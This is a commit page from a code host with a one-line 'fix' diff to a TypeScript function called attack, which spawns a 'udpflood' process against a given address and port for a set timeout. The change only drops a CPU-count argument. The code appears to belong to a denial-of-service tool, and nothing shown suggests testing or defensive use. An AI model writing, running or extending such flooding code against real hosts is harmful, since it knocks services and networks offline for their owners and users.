Commit e453f459 authored by nanahira's avatar nanahira

fix

parent 8a35bb84
......@@ -34,7 +34,7 @@ function sleep(time: number): Promise<void> {
function attack(address: string, port: number): Promise<void> {
log.info(`Attack of ${address}:${port} started.`);
const attackProcess = spawn("udpflood", ["-t", address, "-p", port.toString(), "-c", os.cpus.length.toString()]);
const attackProcess = spawn("udpflood", ["-t", address, "-p", port.toString()]);
setTimeout(() => {
attackProcess.kill();
}, config.attackTimeout);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment